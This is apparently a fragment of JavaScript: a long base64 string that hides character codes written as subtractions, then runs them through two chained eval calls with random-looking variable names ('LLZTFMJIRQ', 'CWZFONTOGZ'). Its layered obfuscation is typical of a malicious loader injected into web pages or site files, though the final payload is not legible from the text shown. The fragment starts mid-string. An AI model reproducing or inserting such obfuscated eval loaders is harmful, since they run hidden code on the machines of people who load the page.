OCwgMTEwIC0gNywgODUgLSAzLCA3NiAtIDEsIDExNCAtIDgsIDc1IC0gMiwgNTkgLSAyLCA4NCAtIDYsIDU4IC0gOCwgMTE5IC0gNCwgMTE1IC0gOCwgNzMgLSAyLCA4NiAtIDQsIDEyOCAtIDksIDc0IC0gNCwgODggLSA1LCAxMjIgLSAxLCA3NyAtIDgsIDU2IC0gNywgMTA3IC0gOCwgNTcgLSA2LCA1MSAtIDIsIDUwIC0gMywgODUgLSA0LCAxMjUgLSA1LCAxMjMgLSA0LCAxMDEgLSA0LCA2OSAtIDIsIDcwIC0gNCwgNzEgLSA2LCAxMTIgLSAzLCA3NSAtIDIsIDEyOCAtIDYsIDExNyAtIDYsIDEwNyAtIDQsIDk5IC0gMiwgMTA3IC0gMiwgNzMgLSA0LCAxMDkgLSA5LCA3OSAtIDksIDY3IC0gMiwgNjYgLSA5LCA3NyAtIDEsIDc3IC0gMiwgMTA5IC0gMywgOTYgLSA3LCAxMTIgLSA1LCA4MSAtIDQsIDg3IC0gNCwgMTE1IC0gNCwgMTE5IC0gMywgODQgLSA1LCAxMjQgLSA0LCA1NSAtIDcsIDcyIC0gNSwgNzYgLSA5LCA4OSAtIDYsIDYzIC0gNiwgMTI2IC0gOSwgNzcgLSAzLCA2OSAtIDIsIDkzIC0gNCwgMTEyIC0gNywgODMgLSA5LCA5MyAtIDcsIDc4IC0gOCwgODggLSA5LCA5NSAtIDYsIDg1IC0gNCwgNzAgLSA5LCA2NSAtIDQsIDQxIC0gMiwgNjcgLSA4LCAxMiAtIDIsIDEwNiAtIDQsIDEyNCAtIDcsIDExOCAtIDgsIDEwNCAtIDUsIDEyMCAtIDQsIDEwOCAtIDMsIDExNSAtIDQsIDExNCAtIDQsIDM1IC0gMywgMTIyIC0gMiwgMTEyIC0gMSwgMTE4IC0gNCwgOTYgLSAxLCAxMDMgLSAyLCAxMTggLSA4LCAxMDggLSA5LCA0MiAtIDIsIDExNyAtIDIsIDEyMSAtIDUsIDEyMSAtIDcsIDEwNiAtIDEsIDExOCAtIDgsIDEwNCAtIDEsIDQ4IC0gNCwgMzcgLSA1LCAxMTMgLSA2LCAxMDMgLSAyLCAxMjUgLSA0LCA0MiAtIDEsIDM0IC0gMiwgMTI2IC0gMywgMTggLSA4LCAzNiAtIDQsIDQwIC0gOCwgMTE5IC0gMSwgMTA1IC0gOCwgMTE4IC0gNCwgMzQgLSAyLCAxMjEgLSA3LCAxMDUgLSA0LCAxMjAgLSA1LCAzNSAtIDMsIDY4IC0gNywgMzYgLSA0LCA0NyAtIDgsIDQ2IC0gNywgNjAgLSAxLCAxMyAtIDMsIDM0IC0gMiwgMzQgLSAyLCAxMDQgLSAyLCAxMTUgLSA0LCAxMTggLSA0LCAzMyAtIDEsIDQ5IC0gOSwgMTI3IC0gOSwgMTAwIC0gMywgMTE5IC0gNSwgMzkgLSA3LCAxMTIgLSA3LCAzNiAtIDQsIDY0IC0gMywgMzQgLSAyLCA0OSAtIDEsIDYxIC0gMiwgMzggLSA2LCAxMTMgLSA4LCAzNyAtIDUsIDY0IC0gNCwgMzkgLSA3LCAxMjEgLSA2LCAxMjQgLSA4LCAxMjAgLSA2LCAxMTIgLSA3LCAxMTYgLSA2LCAxMDQgLSAxLCA0OSAtIDMsIDExMiAtIDQsIDEwMiAtIDEsIDExOSAtIDksIDEwNCAtIDEsIDEyMSAtIDUsIDExMSAtIDcsIDYyIC0gMywgMzUgLSAzLCAxMTAgLSA1LCA1MiAtIDksIDQ3IC0gNCwgNDQgLSAzLCAzNiAtIDQsIDEyNSAtIDIsIDEzIC0gMywgNDEgLSA5LCA0MSAtIDksIDM1IC0gMywgMzggLSA2LCAxMjEgLSA3LCAxMDUgLSA0LCAxMTggLSAzLCA0MSAtIDksIDQ4IC0gNSwgNjYgLSA1LCA0MCAtIDgsIDg3IC0gNCwgMTIyIC0gNiwgMTE4IC0gNCwgMTA3IC0gMiwgMTEzIC0gMywgMTEyIC0gOSwgNTQgLSA4LCAxMDggLSA2LCAxMTcgLSAzLCAxMjAgLSA5LCAxMTQgLSA1LCA2OSAtIDIsIDEwNyAtIDMsIDEwMCAtIDMsIDExNyAtIDMsIDc1IC0gOCwgMTE3IC0gNiwgMTAxIC0gMSwgMTA4IC0gNywgNDggLSA4LCAxMjEgLSA2LCAxMjUgLSA5LCAxMjMgLSA5LCAxMTMgLSA4LCAxMTUgLSA1LCAxMTIgLSA5LCA1MSAtIDUsIDEwNiAtIDcsIDEwNiAtIDIsIDEwNSAtIDgsIDExOCAtIDQsIDc0IC0gNywgMTEyIC0gMSwgMTA0IC0gNCwgMTA2IC0gNSwgNjYgLSAxLCAxMjIgLSA2LCA0OCAtIDgsIDExMiAtIDcsIDQ2IC0gNSwgMzMgLSAxLCA5NiAtIDIsIDE1IC0gNSwgMTggLSA5LCAxNiAtIDcsIDE1IC0gNiwgMTQgLSA1LCAxMTIgLSA1LCAxMDcgLSA2LCAxMjYgLSA1LCA1NCAtIDgsIDEwMCAtIDEsIDEwOCAtIDQsIDEwMyAtIDYsIDEyMSAtIDcsIDc0IC0gNywgMTEzIC0gMiwgMTAzIC0gMywgMTEwIC0gOSwgNzAgLSA1LCAxMjUgLSA5LCA0MiAtIDIsIDEwNiAtIDEsIDQxIC0gOSwgMzkgLSAyLCAzMyAtIDEsIDEwOSAtIDIsIDEwMiAtIDEsIDEyNiAtIDUsIDQ4IC0gMiwgMTEwIC0gMiwgMTAyIC0gMSwgMTExIC0gMSwgMTA1IC0gMiwgMTI1IC0gOSwgMTEzIC0gOSwgNDQgLSAzLCA0NCAtIDMsIDYwIC0gMSwgMTYgLSA2LCA0MCAtIDgsIDM5IC0gNywgMTI3IC0gMiwgMTcgLSA3LCA0MSAtIDksIDM3IC0gNSwgMTE1IC0gMSwgMTA4IC0gNywgMTI1IC0gOSwgMTI1IC0gOCwgMTE4IC0gNCwgMTE4IC0gOCwgMzkgLSA3LCAxMTcgLSAzLCAxMDMgLSAyLCAxMjAgLSA1LCA2NiAtIDcsIDE3IC0gNywgMTMyIC0gNywgMTQgLSA0LCAxOSAtIDksIDEyNiAtIDgsIDk4IC0gMSwgMTIxIC0gNywgMzUgLSAzLCAxMDYgLSA2LCAxMDIgLSAxLCAxMDEgLSAyLCAzOCAtIDYsIDY3IC0gNiwgMzQgLSAyLCAxMjUgLSA1LCAxMTMgLSAyLCAxMjEgLSA3LCAxMDEgLSA2LCAxMDkgLSA4LCAxMTMgLSAzLCAxMDEgLSAyLCA0MyAtIDMsIDEwNCAtIDcsIDExOCAtIDIsIDExOCAtIDcsIDEwNSAtIDcsIDQ1IC0gNSwgMTA1IC0gNCwgMTE0IC0gNCwgMTAwIC0gMSwgMTA3IC0gNiwgMTA0IC0gNCwgNDcgLSA2LCA1MCAtIDYsIDM5IC0gNywgMTExIC0gNCwgMTEwIC0gOSwgMTI1IC0gNCwgNDYgLSA1LCA2MCAtIDEsIDE1IC0gNSwgNDEgLSAxLCAxMTMgLSAzLCAxMDcgLSA2LCAxMjAgLSAxLCAzMyAtIDEsIDcyIC0gMiwgMTI1IC0gOCwgMTE2IC0gNiwgMTAyIC0gMywgMTI1IC0gOSwgMTE0IC0gOSwgMTE0IC0gMywgMTExIC0gMSwgNDQgLSA0LCAxMDkgLSA5LCAxMDQgLSAzLCAxMDggLSA5LCA0OSAtIDgsIDQ1IC0gNCwgNDEgLSAxLCA0NiAtIDUsIDYxIC0gMiwgMTYgLSA2LCAxNCAtIDQpO2V2YWwoTExaVEZNSklSUSk7’);
eval(CWZFONTOGZ);